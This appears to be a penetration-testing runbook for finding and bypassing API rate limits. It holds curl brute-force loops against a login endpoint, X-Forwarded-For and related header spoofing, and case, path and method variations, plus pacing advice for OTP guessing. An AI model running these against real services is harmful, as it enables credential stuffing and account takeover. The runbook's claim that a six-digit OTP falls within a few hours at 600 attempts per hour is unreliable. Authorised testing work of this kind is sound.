Runbook: Rate limit testing and bypass¶
Rate limits are one of the few controls that slow automated API attacks: credential stuffing, enumeration, and brute force all depend on making many requests quickly. When rate limits are absent or bypassable, attacks that would otherwise be impractical become routine.
Objective¶
Determine whether rate limits exist for sensitive endpoints and whether they can be bypassed. Document the threshold, the enforcement mechanism, and any bypass methods that work.
Prerequisites¶
Target API endpoints, particularly authentication, OTP verification, and search endpoints.
Burp Suite Intruder or ffuf for automated request generation.
A pool of IP addresses or a VPN for IP rotation testing.
Phase 1: Confirm rate limit existence¶
Test whether any limit is enforced before attempting bypasses.
Send fifty requests to the authentication endpoint in quick succession and observe the responses:
for i in $(seq 1 50); do
response=$(curl -s -o /dev/null -w "%{http_code}" -X POST \
https://target.com/api/v1/auth/login \
-H "Content-Type: application/json" \
-d '{"email":"test@target.com","password":"attempt'$i'"}')
echo "Request $i: $response"
done
Document when the response changes. A 429 Too Many Requests response with a Retry-After
header is a properly implemented rate limit. A continued 401 with no change means no rate
limiting is in place.
Test the following endpoint types separately, as they often have different (or no) limits:
Login and authentication
Password reset request
OTP and MFA code verification
Account registration
Search and enumeration endpoints
Password change
Phase 2: IP-based bypass¶
Most rate limits track the source IP address. If the API uses the X-Forwarded-For or
X-Real-IP header to identify the client without validating that it was set by a trusted proxy,
the limit can be bypassed by rotating the header value:
for i in $(seq 1 100); do
curl -s -o /dev/null -w "%{http_code}\n" \
-H "X-Forwarded-For: 10.0.0.$((i % 254 + 1))" \
-H "Content-Type: application/json" \
-X POST https://target.com/api/v1/auth/login \
-d '{"email":"target@target.com","password":"attempt'$i'"}'
done
Also test these headers, as different application stacks check different ones:
X-Forwarded-For: 1.2.3.4
X-Real-IP: 1.2.3.4
X-Client-IP: 1.2.3.4
X-Originating-IP: 1.2.3.4
True-Client-IP: 1.2.3.4
CF-Connecting-IP: 1.2.3.4
Phase 3: Account-based distribution¶
If IP rotation does not work, distribute requests across multiple accounts. OTP brute force targeting a specific account from one identity may be rate limited, but sending one request per account per minute across many accounts stays below per-account limits while still making progress.
This is relevant for:
Password reset code enumeration (one request per code value per account)
Account enumeration (one request per username, from a single IP)
Any enumeration where the limit is applied per target account rather than per source
Phase 4: Parameter encoding and case variation¶
Some rate limit implementations normalise input inconsistently, counting differently for variant representations of the same value:
# Test whether encoded variants are counted separately
curl -X POST https://target.com/api/v1/login \
-d '{"email":"user%40target.com","password":"test"}' # URL-encoded @
curl -X POST https://target.com/api/v1/login \
-d '{"email":"USER@target.com","password":"test"}' # uppercase
curl -X POST https://target.com/api/v1/login \
-d '{"email":" user@target.com","password":"test"}' # leading space
If these variants reset the counter, the effective rate limit is multiplied by the number of valid variants.
Phase 5: Endpoint and method variation¶
Test whether the rate limit applies to the specific path or to the underlying function. Some
APIs apply limits to the URL path literally, meaning /api/v1/login and /api/v1/login/
are counted separately. Some apply it per HTTP method, so switching between POST and PUT
(where both are accepted) resets the counter.
# Test path trailing slash
curl -X POST https://target.com/api/v1/login/
# Test path case variation
curl -X POST https://target.com/API/v1/login
curl -X POST https://target.com/api/V1/login
Phase 6: Timing-based bypass¶
If the rate limit resets on a predictable schedule (per minute, per hour), requests can be paced to stay within the limit while still making progress over time. Determine the reset interval by reaching the limit, waiting, and confirming when requests succeed again.
With a limit of ten requests per minute and a reset at the start of each minute, 600 attempts per hour is achievable without ever triggering a lockout, which is sufficient to enumerate a six-digit OTP within a few hours.
Output¶
Rate limit status for each tested endpoint: present or absent.
Threshold and reset interval for any limits found.
Bypass methods confirmed to work, with the specific headers or techniques used.
Practical impact: how many attempts per hour are achievable with the bypass.